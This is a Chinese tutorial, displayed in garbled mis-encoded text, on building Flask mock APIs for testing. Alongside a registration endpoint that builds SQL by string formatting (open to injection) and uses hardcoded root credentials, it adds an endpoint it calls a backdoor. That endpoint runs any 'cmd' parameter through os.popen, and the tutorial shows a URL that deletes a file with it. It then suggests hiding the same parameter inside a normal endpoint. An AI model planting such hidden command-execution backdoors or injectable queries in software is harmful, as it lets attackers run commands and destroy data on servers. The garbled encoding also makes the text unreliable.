python學(xué)習(xí)開發(fā)mock接口
本文實例為大家分享了python學(xué)習(xí)開發(fā)mock接口的具體步驟,供大家參考,具體內(nèi)容如下
#1.測試為什么要開發(fā)接口?
1)在別的接口沒有開發(fā)好的時候, mock接口(模擬接口)
2)查看數(shù)據(jù), 避免直接操作數(shù)據(jù)庫
#2.開發(fā)接口的順序
1)安裝flask
flask是一個輕量級開發(fā)框架
pip install flask
2)開發(fā)一個接口
開發(fā)步驟:
1.實例化一個服務(wù)server:flask.Flask(__name__)
2.函數(shù)前加裝飾器@server.route(), 將函數(shù)變?yōu)橐粋€接口
3.啟動服務(wù)server:server.run()
import flask,json,pymysql server=flask.Flask(__name__)#__name__代表當(dāng)前python文件, 把當(dāng)前python文件當(dāng)成一個服務(wù) def opt_db(sql): coon=pymysql.connect( host='192.168.109.132', user='root', passwd='123456', db='besttest', port=3306, charset='utf8' )#建立db鏈接 cur=coon.cursor()#建立游標(biāo) cur.execute(sql);#執(zhí)行sql if sql.strip()[:6].upper()=='SELECT': res=cur.fetchall()#獲取sql返回 else: coon.commit() res='ok' cur.close()#關(guān)閉游標(biāo) coon.close()#關(guān)閉db鏈接 return res #get請求, 請求路徑ip:port/index @server.route('/index',methods=['get'])#裝飾器,代表index函數(shù)是一個接口,支持get請求(默認get請求) def index(): res={'msg':'這是我開發(fā)的第一個接口','msg_code':'0'} return json.dumps(res,ensure_ascii=False,indent=4) #post請求, 請求路徑ip:port/reg @server.route('/reg',methods=['post'])#裝飾器,代表reg函數(shù)是一個接口,支持post請求(可以同時支持get、post請求) def reg(): username=flask.request.values.get('username')#獲取接口入?yún)? pwd=flask.request.values.get('passwd') if username and pwd: sql='select * from syz_stu where username="%s";'%username if opt_db(sql): res={'msg':'用戶已存在','msg_code':2001}#2001用戶已存在 else: insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd) opt_db(insert_sql) res={'msg':'注冊成功','msg_code':'0'} else: res={'msg':'必填字段未填, 請查看接口文檔','msg_code':1001}#1001必填字段未填 return json.dumps(res,ensure_ascii=False,indent=4)
#后門接口 @server.route('/error',methods=['post'])#路由,訪問地址為----IP:端口/error def cmd(): cmd = flask.request.values.get('cmd')#接口的入?yún)? res = os.popen(cmd)#執(zhí)行用戶命令 return res.read()#返回執(zhí)行結(jié)果 #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后門接口可以直接通過瀏覽器刪除系統(tǒng)文件 #隱蔽一點的方法,把cmd = flask.request.values('cmd',None)寫入正常接口 # 默認可以不傳,一但傳了再res = os.popen(cmd) server.run(port=6688,debug=True,host='0.0.0.0')#啟動服務(wù),接口才能訪問 # port=6688指定端口為6688 # debug=True設(shè)置代碼修改后服務(wù)自動重啟 # host='0.0.0.0'設(shè)置同一局域網(wǎng)的可以訪問 # server.run() 必須在所有接口定義完后再定義, 否則, server.run()檢測不到之后定義的接口, 接口是無法被運行的
運行以上代碼,打開瀏覽器,請求http://localhost:6688/index,將看到返回{'msg': '這是我開發(fā)的第一個接口', 'msg_code': 0}
以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
Python Selenium中等待設(shè)置的實現(xiàn)
本文主要介紹了Python Selenium中等待設(shè)置的實現(xiàn),過詳實的示例代碼,深入介紹了顯式等待、隱式等待、自定義等待條件、多重等待條件、頁面加載狀態(tài)的等待、元素存在與可見性等待、Fluent等待以及異步JavaScript加載的等待,感興趣的可以了解一下2023-12-12CentOS下Python3的安裝及創(chuàng)建虛擬環(huán)境的方法
這篇文章主要介紹了CentOS下Python3的安裝及創(chuàng)建虛擬環(huán)境的方法,本文給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下2018-11-11